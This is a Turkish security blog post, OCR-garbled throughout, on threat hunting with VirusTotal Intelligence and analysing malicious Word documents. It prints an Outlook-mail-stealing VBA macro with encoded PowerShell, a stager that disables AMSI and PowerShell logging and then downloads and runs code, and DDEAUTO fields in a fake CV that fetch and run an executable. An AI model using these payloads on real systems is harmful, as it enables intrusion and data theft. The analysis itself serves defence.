VirusTotal 1le Tehdit Avi

written by Mert SARICA | 1 August 2019
If you are looking for an English version of this article, please visit here.

Twitter’i benim gibi c¢ogunlukla siber givenlik ile ilgili haberleri, siber
guvenlik arastirmacilarini takip etmek i¢in kullaniyorsaniz,
FireEye/Mandiant’in guvenlik arastirmacilarindan Nick CARR‘1in, Daniel
BOHANNON ‘un veya Microsoft’tan John LAMBERT‘in tweetlerine denk gelmis
olabilirsiniz. Tweetlerinde kimi zaman VirusTotal‘da yaptiklari tehdit avinda
elde ettikleri yeni zararli yazilim 6rneklerini, yeni yodntemleri

paylastiklarini gorebilirsiniz.

Yillarca, VirusTotal hesabi olan esten, dosttan ilgimi ¢eken zararli yazilim
orneklerini indirip bana gondermelerini rica ettikten sonra 2018 yilinin
basinda Akbank Siber Glvenlik Merkezi’'miz ic¢in kurumsal bir VirusTotal hesabi
satin alarak nihayet mutlu sona ulastim. Kurumsal hesap ile Iz Pesinde
baslikli blog yazimda belirttigim Uzere siber suc¢lularin izini surebildiginiz
gibi tehdit avina c¢ikarak kurumunuza saldiri hazirliginda olan siber
saldirilardan haberdar olabildiginiz gibi siber suc¢lularin kullandigi taktik
ve tekniklerden haberdar olabiliyorsunuz. Siber sug¢lular bir yana VirusTotal
Uzerinde bazen kendi kurumuna sosyal mihendislik testi yapma hazirliginda
bulunan bir calisandan, antiviris atlatmaya calisan bir siber givenlik
danismanlik firmasinin sizma testi uzmaninin ylikledigi dosyalari da

bulabiliyorsunuz.

VirusTotal'a ylklenen dosyalarin lyeler arasinda gorintilenebildigi,
indirilebildigi c¢ogunlukla unutulabiliyor. Bu durumda da aslinda masum bir
sekilde zararli yazilim tespiti adina VirusTotal’a ylkledigimiz hassas bir
dosya bir anda ucglncli parti kisiler tarafindan goruntilenebiliyor. Ben de bu
yazimda hem VirusTotal lUzerinde tehdit avi yapmak isteyenlere yol gdstermeye
hem de bilgi glvenligi farkindaligi adina yukarida bahsettigim noktalara

dikkat cekmeye karar verdim.

VirusTotal Intelligence ile tehdit avina c¢iktigimizda 50'den fazla anahtar
kelimeden faydalanabiliyoruz. Ornegin, VirusTotal’a dosyay1i yiikleyen
Turkiye’den (submitter:TR) olmus olsun, Turkce dilinde yazilmis olsun
(lLang:"turkish”), 10’'dan fazla antivirus yazilimi tarafindan tespit edilmis
olsun (positives:10), dosya tlrud docx olsun (type:docx), dosyanin ilk
yliklenme tarihi de 2018 yili olsun (fs:2018-01-01 T00:00:00+) dedigimizde
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hizlica bu anahtar kelimelere uyan kayitlara ulasabiliyoruz. Benzer aramayi

x1ls, doc uzantili dosyalar, powershell (tag:powershell) ve makro iceren

(tag:macros) dosyalar icin de yaparsak karsimiza kisa slirede analiz edecek

cok sayida ornek cikiveriyor.

I1k karsilastigim ornekte art niyetli bir kisinin bir bankaya sosyal

mihendislik saldirisi yapmak ic¢in makro iceren dokiman olusturdugunu goérdum.

Makroyu oletools araci ve CyberChef araclari ile analiz ettigimde de

calistairilan makronun Microsoft Outlook programinda gonderilen e-postalarin

bir kopyasini Powershell yardimi ile sifresiz HTTP protokoliu ile komuta

kontrol merkezine génderdigini gordim. Dosyanin 6zelliklerinden kimin

olusturduguna baktigimda ve bunu VirusTotal’'da arattigimda (metadata) ise bu

dosyasinin art niyetli bir kisi tarafindan degil de kuvvetle muhtemel

bankanin denetim ekibi calisanlari tarafindan sosyal mihendislik testi

gerceklestirmek amaciyla olusturulmus oldugunu 6grenmis oldum.
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C:sUsers~Mert-Desktopsoletools—H.53.1%0letools>python olevha.py
cekilisi.doc

olevba B.53.1 — http:r~sdecalage.info-pythonsoletools

Flags Filename

OLE:=MAS-HB— _yilbasi cekilisi.doc

FILE: _ _yilbasi_cekilisi.doc
Type: OLE

UBA HHCRO ThisDocument.cls
_yilbasi_cekilisi.doc — OLE stream: u’'Macros/UBA-ThisDocument”

Option Explicit

Public strFilePath, strFileName Az String
Dim EmailCount As Variant

Private Sub Document_Open{)>

Dim obhjSelectedMail As Outlook.Mailltem
Dim objConverzation As Outlook.Conuversation
Dim obhjMail Az Outlook.Mailltem

Dim ohjFolder As MAFIFolder

Dim ohjNS As MNamespace

Dim EmailCount As Variant

Zet objNSs = GetNamespace<'MAFI'>
Set objFolder = objHNS.GetDefaultFolder{olFolderSentMaill

EmailCount = obhjFolder.Items.Count
ohjFolder.Items.Sort "CreationTime", True

On Error GoTo Err
Set ohjSelectedMail = objFolder.Items.Item{EmailGount>
If Not objSelectedMail Is MNothing Then GoTo Abc
Err:
On Error GoTo Err2
Set obhjSelectedMail = objFolder.Items.ltem{EmailCount — 1>
If Hot objSelectedMail Is Mothing Then GoTo Abc
Err2:
Set ohjSelectedMail = objFolder.Items.Iltem{EmailCount — 2)
If Hot objSelectedMail Is Mothing Then GoTo Abc
Ahbc =
Set obhjConverszation = objSelectedMail.GetConversation
If Not <objConversation Is Mothing?» Then
‘Get _all root items in this conversation
For Each obhjMail In ohjConversation.GetRootlItems

*strFileNMame = obhjMail.Subject

strFileMame = Environ<'Username™> & "' txt"
‘Remove the unsupported characters 1n jema
strFileName Replace{strFileName .
strFileName Replace{strFileName .
strFileName ReplaceCstrFileName . i
stprFileName Replace<{strFileName. “7".
strFileName Replace(strFileName. Chr{(34>, " ">

C:\Windows' em32\cmd exe

Call ProcessChildren<objMail. objConversation>
Next
End If

Dim C fAis Variant

Dim A As String

A = "C:\Windows‘system32:\Windows" & Chr(88)> & Chr(111)> & Chr{119> & Ch»(181)
& Chr(114> & Chr(83)> & Chr(184> & Chr(101)> & Chr(188> & Ch»(188)> & "wi1.8%\" &
hr¢112> & Chrd111> & Chr{119> & Chr{(181> & Chr<114> & Chr(115> & Chr{184> & Chr(
181> & Chr<188> & Chr{iB88> & Chr<{46> & Chr{181> & Chr(128> & Chr{i181>

C = Shell<n & " IERC[System.Text.Encodingl::Unicode.GetString{[8ystem.Conver
t1::FromBaseb4String(’ JABGAGKALAB1AFAAYGBBAGYATAAPACAAJwBDADoAXABUAHMAZQBYAHMARA
AnACsAJAB1IAG4AdgA6AFUAcwBlAHIATgBhAGBAZOArACcAXABEAGE AYwB1AGAAZGBuAH QA cwBeAGe AKy
AkAGUALgB2ADoAVQB=AGUAcgBOAGEADQB1ACsAJwAuAHQAe ABBACC AOWAgACQAVGBSAEWAT ARTACAA Ju|
BoAHQAAABwADoALuAvAH cAdwB3AC4AZwBhAHIAYQBUAHGAaQBuAHMAY QBuAGs AYQBSAGAAY QBrAGuAYQ

BAAGUAcwAPADsATAAKAGI AbwB1AGAAZABKAHI AeQAgADAATABbAFMAeQB=AHGAZQBt AC4ARWB1AGKAZA
BdADoACyBOAGUAdwBHAHUAAQBRKACA KQAUAFQAbwBTAHQACcgBpAGEAZE" &

"l oACKAOwAgACARJABMAEY ATAAYACANT gBgAH I AYABUACIAOWAGACARJABIAGEAZABSAEWA aQBy
AGUAcwAgNDBATAACACAATAAGACAATAAGACI ALGALACOAY gBuAHUAbgBKAGEACgBSACIALAAGACAA I ARy
ACAA L gBDAGBAbgBBAGUAbgBBACBARABpAHMAcABvAHMAAGBAAGKADwBUADoAI ABMAGEAcgBtACBAZABh
AHQAY QA ?ACAAbgBhAGBAZAA?AGAAI gBmAGKADABLAGAAL gA?ACAAZgBpAGWAZGBuAGEAbQB1ADBAYAA L
ACOAZGBuAHY A OgBUAHMAZQBYAE4AY QB AGUALgBBAHgAdABgACI AT gAsACAATARGACAA T gBDAGEAhyBA
AGUAbgBAACBAVABSAHAAZQAGACAARY GBwAHAADABpAGHMAY QBAA GkAbwBuACEAbwB jAH OAZOBBA CBA c wBH
AHIAZGBhAGBAJABMAEYAIgA=sACAATIAAGACAATANKAGY AaQBsAGUARQBuAGHALAAGACAAIAAGACAAIgAL
ACBAJABIAGRAJQBuAGOAY QByAHKALAAtACQATABGACIAIAAGACKAI AAtAGoAbuBpAGAATAAKAEWARgA Y|
ACAAIABJAGIAdgBuAG=AZQALtAFIAZQB=AHGATGR1AHQAaABuAGAA I AAtAFUIACcgBpACAAJABUAFIAT AN
ACBATGB1AHOGAaABuAGAA IABQAGEACcwBBACAALGBDAGR AbgBAAGUAbyBAAFGA:QBuAGUATAA iAGHAJGB=:
AHQAaGBuAGEACcgBBACBAZgBuAHIALAALAGRAYGBAAGEAOWAgAGI AbwBI1AGIAZABhAHIAQATAGAA I gAK
?ggﬂthé§G4HZHBhHHIHBQBQHCIHIgﬂgﬂCBﬂQgBuﬂGQﬂeQﬂgﬂCQﬂYgBuHGQHeQBHHGthgBlHHHHOwﬂ—

End Sub

Sub ProcessChildren<objCurMail Az Outlook.Mailltem. objCurConverszation As Ou
tlook.Conversationd

Dim objltems As Outlook.Simpleltems

Dim objltem As Outlook.Mailltem

Set obhjltems = objCurConversation.GetChildrenCobhjCurMaild

If objltems.Count > @ Then
For Each ohjltem In ohjltems

Environ{"Username"> & “.txt"
Replace(strFileName, "/". " ">
Replace(strFileName. ]
Replace{strFileName. B M)
Replace{strFileName,. "?". " "
Replace(strFileName. Chr(34) ALy

strFilePath "CislUsersh" & Environ("Username"> & "“Documents~" & str

strFileName
strFileName
strFileName
strFileName
strFileName
strFileName

FileName

obhjltem.S8aveAs strFilePath, olTXT




CAWindows\system3emd.

Dim objltems As Outlook.Simpleltems =
Dim objltem As Outlook.Mailltem
Set objltems = objCurConversation.GetChildren{obhjCurMail)
If objltems.Count > B Then
For Each ohjltem In objltems
strFileMame Environ{"Username"> & ".tx
strFileMame Replace<{strFileMame, "~
strFileMame Replace<strFileMame.
strFileMame Replace<strFileMame.
strFileName Replace{strFileMame. % Type Size o
strFileName Replace{strFileMame. Chr{34>, " "> =
Microsoft Word 9... 58 KB
strFilePath "GislUsersn' & Environ("Username'? & "“Documents“'" & str
FileName Text Document 3 KB
objlten.SaveAs steFilePath, olTAT Python File 15 KB
th il TEKB
*Processz all children recursively ro el 1 Ad
N Call ProcessChildren<objltem. objCurConversation? Python File 15 KB
ext
End If Python File 45 KB
End Sub = Python File 6 KE 3
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Description Python File 22 KB
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AutoExec ! Document_Open | RBuns when the Word or Publiszher Compiled Python ... 22 Kb
i i document is opened Python Fil 14 KB
Suspicious | Chr i May attempt to obfuscate specific ython File i
i i strings C{use option ——deobf to Pyvthon File 13 KB
i | deobfuscatel ik )
Suspicious | Shell i May run an executabhle file or a system Python File 8 KB
i i command 2 ) -
Suspicious | Windouws i May enumerate application windows (if Python File 35 KB
i i combined with 8hell.Application ohject) . e T
Suspicious | Environ i May read system environment variables H el S
Suspicious | System i May run an executabhle file or a system Pyvthon File TKE
i i command on a Mac (if combined with i ' '
i i libe.dylib) Python File 179 KB
Suspicious | Hex Strings i Hex—encoded strings were detected. may s : ey
H ! be used to obfuscate strings {option Python File 178 KB
H i ——decode to see alld s b s e %
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d

C @ File | filey///C:/Users/Mert/Desktop/cyberchef.htm#recipe=From_Baseb4('A-Za-z0-9%2B/%3D" true)8linput=SkFCR... ¥¢ e :
Version 8.19.5s Last build: 3 days ago - New in v8: Automated encoding detection and simpl... Options a About / Support 0
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Operations Input lengthi 3 lines: 2z ]

From Baseb64 i
JABGAGKAbABIAFAAY(QBRAGZATAASACAAJWBDADOAXABYAHMAZQBY AHMAXA

Alphabet AnACsAJABlAGAAdgABAFUACWBLAHIATEEhAGOAZQArACCAXABEAGBAYWB1AGBAZQ

A-Za-z08-9+/= BuAHQACWBCACCAKW
AkAGUAbgE2ADOAVOBZAGUACEBOAGEADQELACSATWAUAHDAABBACCAOWAEACQAVQ

BSAEWATAASACAATW

BoAHQAdABWADOAL wAVAHC AdWB3ACAAZWBhAHIAYQBUAHQAZQBUAHMAYQBUAGSAYQ

BSAGAAYQB rAGWAYQ

ByAGKALgBEjAGBAbQAVAHUACABSAGBAYQBKACAACABOAHAATWATACAATAAKAGYAGQ

BsAGUAQEBESAHQAZQ

BzACAAPQAgAF sAUWBSAHMAJABLAGEALEEB]AESALEBGAGKADAE1AFBAOZABAFIAZQ

BhAGQAQQBsAGWAQE

s BSAHQAZQEzACZAIABGAGKADABLAFAAYQBEBAGEAKQATACAATABMAGKADABLAEUADE

BACAAPQAZAF sAUW

*

Remove no

n-alphabet chars

sterEi L%4a £
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aktivite20.docm isimli baska bir 6rnege baktigimda da ilk olarak yine art
niyetli kisilerin bir bankaya gerceklestirdikleri sosyal muhendislik
saldirisinda kullandiklari bir zararli dokiiman ile karsilastigimi disidndim.
Ikna adina gayet basarili bir sekilde kurgulanmis bu dokimani analiz
ettigimde icinde Powershell’den faydalanilan bir makro oldugunu gérdum. Makro
dosyasini analiz ettigimde ise calaistirildigi anda Powershell’in betik
engelleme ve kayit altina alma 6zelligini devre disi biraktigini goérdim. Bir
onceki ornekte oldugu gibi yine dosyanin 6zelliklerine baktigimda bu defa bir

siber guvenlik firmasinda danisman olarak c¢alisan bir sizma testi uzmani

tarafindan olusturulmus oldugunu 6grendim. :)
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Project - Project x| rﬂﬂﬁ?mﬁﬁm

] H IGeneraI}

« Auto_Open

(- &% Normal

&3 Project (Aktivite-20)

- (23 Microsoft Word Objects
-5 Modules

[-[] References

End Sub

Sub Auto_Open()
| GDil

End Sub

Sub AutoCpen()
GDiU

End Sub

Sub Document Cpen ()
GDiU

‘| m 3
Properties - NewMacros x|
NewMacros Module -

Alphabetic | Categorized

LUEWS) NewMacros

Dim
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf

Public Function GDiU() As Variant

zbf As String
"powershell -noP -sta -w 1 -enc SQBGACQAJABQAFMAVg™

zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf

+

B S S S ot S S S S S

"B1AHIAcWBpAGEAbgBUAGEAQEEMAGUALgBQAFMAVgB1AHIACWEI"
"AESAbgAuAEOAQQEKAGEATgRgACOARWE 1 ACAAMWADAHSAJABHAF"
"AARgAIAFsAUGBFAEYAXQAUAREAUWEzAGUALGBCAEWASQAUAECA™
"RQBUAFQAeQBWAEUAKAANAFMACQBzAHQAZQEtAC4ATQRNAGIAYQ"
"EnAGUABQB1AG4AdAAUAREAAQROAGEABQRhAHQAAQBVAGALLOBY™
"AHQA2(EsAHMATWADACAAT gBHAEUAJARGAGKARGBgAEWARAIACT
"gAJWE]AGEAYWBoAGUAZABHAHIAbWE 1 AHARUABRVAGWAaQE  AHKA™
"UwB1AHQAAABPAGAAZWBZACCALAANAR 4 ATwArACCAbWEUAFARAQ™
"BiAGwAa(Bj ACWATWEOAGE AdARPAGMA TwAPADSASQRGACOATARH"
"AFAARgApAHsAJARHAFARQWASLCOARWEQAE YALyBHAGUAAARWAE"
"EATABVAGUAKARKAE 4AVQBEsAEWARQATAEKAZgAOACQARWEQAEMA™
"HwAnAFMAYWBYAGKACABOAE TATWATrACCADABVAGMAaWEMAGERZW"
"EnAGkAbgBERACCAXQADAHS AJAEHAFARQWEbACCAUWEjAHIAaQEW"
"AHQAQUANACSAJWESAGEAYWRrAEWAbWBNAGCAaQBUAGCATWBAAF™
" s TWBFAG4AYQRI AGWAZQBTAGMACOBpAHARAARCACCARWANAGWA™
"bwB3AGsATABVAGCAZWBpAGAAZWANAFOAPQAWADSAJABHAFARGW™
"BbACCATWB] AHI AaQBwAHQAQGANACSATWEsAGEAYWErAEWAbwEDR ™
"AGohaQBuAGCATWRAAFsATWRFAGAAYQBRI AGWAZQBTAGMACGBRAH"
"AAAARCAGWALWE ] AGSASQRUAHYALWES AGEAJARpAGAALGEMAGEA"

al IF ($PSVersionTaBLe.PSVersIOn.MAJOR -Ge3)
2 {
3 $CPF=[REF] .ASsemBLy .GETTYpDE (' System.Management . Automation.Utils') . "GELFiE LD" (' cachedGroupPolicySettings', 'N'+'onPubl TR
4 IF ($GPF)
5 {
6 $CPC=§CPF. CetVALUe ($NULL) ;
7 tB'+' lockLogging'1)
8 {
9 lockLogging'] ['Enabl lockLogging'1=0;
10 'lockLogging']['Enable: vocationLogging']=0}
17 $VAL=[CO11ECtIONS.GEnEriC.DICTiOnar¥[STRIng,SySTeM.ObJect]] : tnEw () ;
12 SVAL.AdD('Enab kLogging',0) ;
13 $VAL.ADD('Enab tionLogging',0) ;
14 $GPC['HREY_LOCAL M s\Microsoft\Windows\Powershell B'+'lockLogging']=§val
15 } ELSe {
16 [ScriPTBLOCK] . "GELFIE 1d" ('signatures', 'N'+'onPublic,Static').SEtValuE ($null, (NEw-OBJeCT COLleCtions.GENerIc.HAShSet[stRiNG]))
17 }
18 [REf] .AsSEMbLY.GetTYpe ('System.Management.Automation.AmsiUtils') |2{$_}|%{$_.GETFIEld('amsiInitFailed', 'NonPublic,Static').SetVAlUs ($NuLL,$truE)};
19 ¥;

20 [SySTeM.Net . SErViCePOInTMAnAger] : :ExpecT100CoNtinuE=0;

21  $WC—NeW-OBJect SysTEM.Net.WebClIEnT;
. 64; Trident/7.0

22 Su='Mozilla/5.0 (Wind
23 $wc.HeADErs.ADD('Us

NT 6.

1y

Agent',$u);

24  $Wo.PRoxy—[SYstEm.NET.WEBRequesT] : : DeFaULtWEBProxy;

v:11.0) like Gecko';

25 $we . ProXy.CrEdeNtiALS = [SYSteM.NEt.CrEdeNTiaLCaCHE]::DEfauLTNeTWORKCrEdentIals;
26 $script:Proxy = $wc.Proxy;

27 $K=[SYstEm.TEXt.EnCOdiNg] : :ASCII.GETBYtes('1l_a ($NK; {u<P>sJWtcr x}glz0fL— &
28 B$R={

29 $D,SK=SARgsS;$S=0..255;0. %{$I=(ST+$S[S_1+SK[S_%SK.CounT]) %

30 $SI[S_1,8s[$J1=8s[$J],8S[S_1}

31 SDIE{$I=(SI+1)225¢; $H-(SH+$S[SI]) %256,

32 $S[SI1,$S[SHI=SS[$H],SSIST

33 $_-bXOR$S[($S[ST]+$S[$H]) %

34

<L i

36

37 , "session=Yhqj cpbKTOWN3kUZC1HCKB/ xQvo=") ;

38 $DatA=$WC.DOWnloadData (§seR+§t) ;

39 $iv=$DATA[0..3];
40 $daTa=$DaTa[<..§DAta.lenGtH];

41 |joIn[charll] (& $R $DATA ($IV+S$K)) |IEX
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aktivite.docm 68.35 [=]
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Yukaridaki iki o6rnege bakarak sizma testi, sosyal mihendislik testi amaciyla
VirusTotal'a ylklenen bu tir dosyalarin art niyetli kisilere senaryo ve
yontem konusunda ipucu verecebilecegini unutmamamiz gerekiyor. Yeri gelmisken
kirmizi takim calismasi oncesi VirusTotal’a yuklenen bir dosyanin da bu
calismanin basariya ulasmasini fazlasiyla zorlastiracagini da yine

unutmamamiz gerekiyor.

zarina cv.docx isimli biger bir 6rnege baktigimda ise bu defa sipheli bir
6zgecmis dosyasi ile karsilastim. Ozellikle kurumsal ortamlarda elden ele
gezen o6zgecmisler, zararli kod icerdigi taktirde insan kaynaklari
calisanlarina Linkedin ve e-posta lzerinden gonderildiginde, olmasi gereken
guvenlik kontrolleri ve sikilastirmalar yapilmadigi durumlarda kurumun
hacklenmesine yol acabilmektedir. zarina cv.docx dosyasini 7-Zip araci ile
actiktan sonra word klasériu icinde yer alan document.xml dosyasini analiz
ettigimde icine itinayla yerlestirilmis bir DDEAUTO komutu oldugunu goérdim.
DDEAUTO komutu, mediafire.com adresinden final.exe isimli bir dosyayi indirip
TEMP klasorinde calistirmaktadir. final.exe isimli dosya silindigi ic¢in her
ne kadar ulasamamis olsam da ayni kisinin VirusTotal’'a mediafire yerine i¢ ip
adresi iceren benzer bir dosya ylkleyip Antivirids kontrolli yapmaya
calistigini net olarak gorebildim. Bu ornekten yola c¢ikarak 6zellikle insan
kaynaklari birimlerinin 6zgec¢mis dosyalarini adaylardan alirlarken cok
dikkatli olmalari gerektiginin de altini ¢izmis olayim.


https://www.virustotal.com/en/file/a337da0d55e3f9181bfaf0171aa6dfaa943768120142c4dec9848a48e9318fa1/analysis/
https://www.virustotal.com/en/file/a337da0d55e3f9181bfaf0171aa6dfaa943768120142c4dec9848a48e9318fa1/analysis/
https://www.7-zip.org/
https://www.virustotal.com/en/file/7edb8623e00fa63e0647add6788e328e3227dd855bc5784960be0c4d51285c2d/analysis/
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Hobiler</w:t></w:r><w:proofErr w:type="spellEnd"/><w:r w:rsidRPr="00BB4487"><w:rPr><w:b/><w:w w:val="105"/><w:sz
wival="19"/></w:rPr><w:tab/></w:r><w:proofErr w:type="spellStart"/><w:r><w:rPr><w:spacing w:val="2"/><w:w w:val=
"105"/><wisz wival="19"/></wirPry<w:c>Tiyatro</w:ts></wir><w:proofErr w:type="spellEnd"/></w:p><w:p Ww:i:rsidB=
"ODE117A1" w:r2idRDefault="0024013E" w:rsidP="00E117Al1"><w:pPr><w:pStyle w:val="HTMLncedenBiimlendirilmi"/><w:shd
w:val="clear" w:color="anto" w:fill="FFFFFF"/></w:pPr><w:r><w:lastRenderedPageBreak/><w:t xml:space="preserve">

</ Wit/ WiT><W:T W:rsidR="00E117A1"><w:fldChar w:fldCharType="begin"/></w:r><w:r w:r=idR="00E117A1" w:r=idRPr=
"ODE117A1"><w:rPri><w:color w:val="222222"/3><w:8z wW:val="24"/><w:s8zCs w:val="24"/></w:rPr><w:instrText xml:space=
"preserve"> DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden §e=(New-Object
System.Net.WebClient) . </w:instrText></wir><w:r W:rsidR="00E117A1" w:r=sidRPr="00E117A1"><w:in=stcrText xml:space=
"preserve"> </wi:instrText></w:r><w:r w:rsidR="00E11T7A1"><w:instrText xml:space="preserve">DownloadFile ("
http://downloadl078.mediafire. com/wt2jmdécfgvg/ginted4jodhcxnjd/final . .exe", '$TEMP$\final.exe') ;

</ WiINSTrTexts</Wir></Wip><w:p W:I3idR-"O0E117A1I™ w:rsidRDefault="00E117A1™ w:rsidP="00E117A1"><wW:pPr><w:pStyle
w:val="HTMLncedenBiimlendirilmi"/><w:shd w:val="clear" w:color="aunto" w:fill="FFFFFF"/></w:pPr><w:r><w:inscrText>
Start-Process "$TEMP%\final .exe"</w:instrText></wir></wips<w:p w:rsidRE="00E117A1" w:r=idRPr="0024013E"
w:rzidRDefault="00E117A1" w:rsidP="00E117Al1"><w:pPr><w:pStyle w:val="HTMLncedenBiimlendirilmi"/><w:shd w:val=
"clear" w:color="auto" w:fill="FFFFFF"/><w:rPrx><w:color w:val="222222"/><w:sz w:val="24"/><w:3zCs w:val="24"/>

</ WirPr></wipPr><w:r><w:instrText>ENTER</wW: instrText></w:r><w:r><w:fldChar w:fldCharTvpe="begin"/>
</wrrr<wir><wrinstrText xml:=space="preserve"> < /wiinstrText></wWw!r><w!r w:rsidRFr="0024013E"><w:rPr><w:color w:val=
"223322N sz wival="24"/><w:izzCs wWival="24"/></w:rPr><w:instrText>{ DDEAOTO c:\\Windows\\System32\\cmd.exe "/k
powershell .exe -NoP -sta -Nonl -W Hidden $Se=(New-Object System.Net.WebClient) .DownloadString/(
</wiinstrText></Wir><w:I WirsidRPr="00DT4280"><w;:rPr><w:color wival="222222"/><w;sz Wival="24"/><w:szCs wival="24"
Sx</wirPry<wiinstrText>"http: //downloadl078 .mediafire . com/wt2imdécfgvg/gOnte4jodhcxnjd/final .exe

', 'STEMPE\final .exe'</wiinstrText></wird><wir Wi rsidRPr="0024013E"><w:rPr><w:color wW:val="222222"/><yisz wival="24"
f><w:szCs wival="24"/></w:rPr><w:instrText>) ;powershell —e Se "}«</w:instrText></w:r></w:p><w:p w:rsidR="00E11T7A1"
W:rsidRPr="00E117Al1" w:rsidRDefault="00E117A1" w:rsidP="00E117Al1"><w:pPr><w:pStyle w:val="GvdeMetni"/><w:rPri><w:sz
Wival="20"/></W:irPry></wipPry<w:r><w:rPr><w: sz w:val="20"/></w:rPr><w:inscrText xml:space="preserve">
</wiinstrText></Wi r><wW:r><W:rPr><w: 3z w:val="20"/></w:rPr><w: f1dChar w:fldCharType="separate"/>
</Wirs><wir><w:rPr><w:b/><w:noProof/><w:sz w:val="20"/></w:rPr><w:instrText>!Beklenmeyen Formiil Sonu

</ wrinstrTexXt></Wwir><w:r><w:rPrr><w:sz w:val="20"/></w:rPr><w:fldChar w:fldCharType="end"/></w:r><w:r w:rsidRPr=
"ODE117A1"><w:rPrr><w:color w:val="222222"/><w:isz wW:val="24"/><w:32zC=s w:val="24"/></w:rPr><w:instrText>"
</wiinstrlext></w:r></w:p><w:p w:rsidR="00E117A1" w:rsidRDefault="00E117A1" w:rsidP="0024013E"><w:pPr><w:pStyle
wival="HTMLncedenBiimlendirilmi"/><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/></w:pPri><w:r><w:instrText
xml:space="preserve"> < /w:instrText></w:r><w:r><w:fldChar w:fldCharTvpe="end"/></w:r><w:bookmarkStart w:id="0"
w:name="_§oBack“f><w:bookmarkEnd Wiid="0"/></wip><w:p Ww:rsidR="0071316D" w:rsidRPr="00BB4487" w:rsidRDefault=
"0071316D"><w:pPrr<w:pStyle w:val="GvdeMetni"/><w:rPr><w:isz w:i:val="20"/></w:rPr></w:pPr></w:p><w:sectPr w:irsidR=
"0071316D" w:r2idRPr="00B84487" w:rsidSect="00B84487"><w:pgSz w:w="11900" w:h="16840"/><w:pgMar w:top="993" w:right
="560" w:bottom="0" w:left="0" w:header="708" w:footer="T08" w:gutter="0"/><w:cols w:space="T708"/>
</w:sectPr></w:body></w:document>

eXtensible Markup Language file length:38174 lines:2 Ln:2 Col:35471 Sel:0|0 Windows (CRLF)  UTF-8 INS
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E document xml £3 Eﬂdocumaﬂmmlﬂl

A <?xml version="1.0" encoding="UTF-8" standalone="yes"??>

2 <w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="
http://schemas.openxml formats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office"
xmlnz:r="http: //schemas .openxml formats.org/officeDocument/2006/relationships" zxmlns:m="
http://schemas.openxml formats.org/officeDocument /2006 /math" zmln=:v="urn:schemas-microsoft-com:wvml" zmlns:wpl4="
http: //schemas.microsoft.com/office/word/2010/wordprocessingDrawing” =mlns:wp="
http://schemas.openxml formats. org/drawingml /2006 /wordprocessingDrawing” =mlns:wl0=
"nrn:schemas-microsoft-com: office:word" xmlns:w="http://schemas.openxml formats.org/wordprocessingml /2006/main"
=zmlns:wld="http://schemas.microsoft.com/office/word/2010/wordml" zmlns:wpg="
http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="
http://schemas.microsoft. com/office/word/2010/wordprocessingInk" xmlns:wne="
http://schemas.microsoft.com/office/word/2006/wordml"” xmlns:wpa="
http://schemas .microsoft. com/office/word/2010/wordprocessingShape” mco:Ignorable="wild wpld"><w:body><w:p wirsidR=
"ODEET123" w:rsidRPr="004B5990" w:rsidRDefault="004B5990"><w:pPr><w:rPr><w:lang w:val="tr-TR"/>
< /Wi rPr></wipPr><wir><w!:rPr><w:lang w:val="tr-TR"/></w:rPr><w:fldChar w:fldCharType="begin"/>
</ Wi r>Ewir><wirPra><w:lang w:val="tr-TR"/></wWirPr><w:instrText xml:szpace="prescrve"> </w:instrTeXt></W:r><w:r
W:rgidRPr="004B5990" ><w:rPrx><w:lang w:val="tr-TR"/></w:rPr><w:instrText>DDEAUTO
C: \\Programs\\Microsoft\\0ffice\\MSword. exe\\ . .\\..\\..\\. .\\windows\\system32\\mshta.exe "http://192.168.
</w:instrText></w:r><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/><w:r w:rsidRPr="004B5990"
><WirPr><w:lang w:val="tr-TR"/></w:rPr><w:instrText>162.129:8080/U4xAajpm"</w:instrTexXt>< /Wi r><w: r><w: rPr><w:lang
wival="tr-TR"/></W:rPr><w:fldChar w:fldCharType="separate"/></Wir><w:r><w:rPr><w:b/><w:noProof/>»<w:lang w:val="tr-TR"
</ rPry><w:t>1Beklenmeyen Form</w:t></wirr<w:r><w ! rPr><w:rFonts w:hint="e="/><w:b/><w:noProof/><w:lang w:val=
"tr-TR"/></wirPr><w: t>U</ Wi t>< /Wi r><w: r><w: rPra<wib/><winoProof/><w: lang w:val="tr-TR"/></w:rPr><w:t>1 Sonu
</Writr</Wwirs<wir><w:i rPr><w: lang w:val="tr-TR"/></w:rPr><w:fldChar w:fldCharTyvpe="end"/></w:r></w:p><w:sectPr w:rsidR=
"006E7123" w:rsidRPr="004B5990"><w:pgSz w:w="11906" w:h="16838"/><w:pgMar w:top="1134" w:right="850" w:bottom="1134"
w:left="1701" w:header="T708" w:footer="T708" w:gutter="0"/><w:cols w:space="T08"/><w:docGrid inePitch="360"/>
</w:gectPr></wibody></w:document>

extensible Markup Language file length:2.572 lines:2 Ln:1 Col:1 Sel:0|0 Windows (CRLF)  UTF-8 INS
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Belediyede proje takibi ve onaylamasi sarecinde is kontroliga

Missing: doex | Mustinclude: docx

PPl yesim aksu - Ozgegmisim - Gvlogine

www Sekizll.com triupload/file_1528194681.pdf ~ Translate this page

Nov 5, 1990 - Haziran-Eylal 2010 -. Konya B.Bel. ve il Muzeler Mud. Alaaddin Tepesi ve Karatay
Medresesi. Arkeolojik kaz1 cals. - isci. Ekim 2009 - Mart

Missing: deex | Mustinclude: docx

Lol yesim aksu - Gzgegmi*im - Cvlogin - Ali OZELe
nitps:/Awww. 0zelall.cOm/C\V/all_ozel_cv.docx - Transiate this page

el yesim aksu - Ozgegmi*im - Cviogin - Amazon AWSe
tekten s com/.../dssba 8321b6569475¢9... + Translate this page

yesim aksu - Ozgegmisim - ? Web viewOracle, IBM AS 400, MFG ...e
ntips: mxlyesim-aksu-zg y

yesim aksu - Ozgegmisim - Cvlogin Serdar Kariyer Personal Information Name Serdar Kariyer Date
of Birth 01.10.1976 Place of Birth Istanbul Marital Status

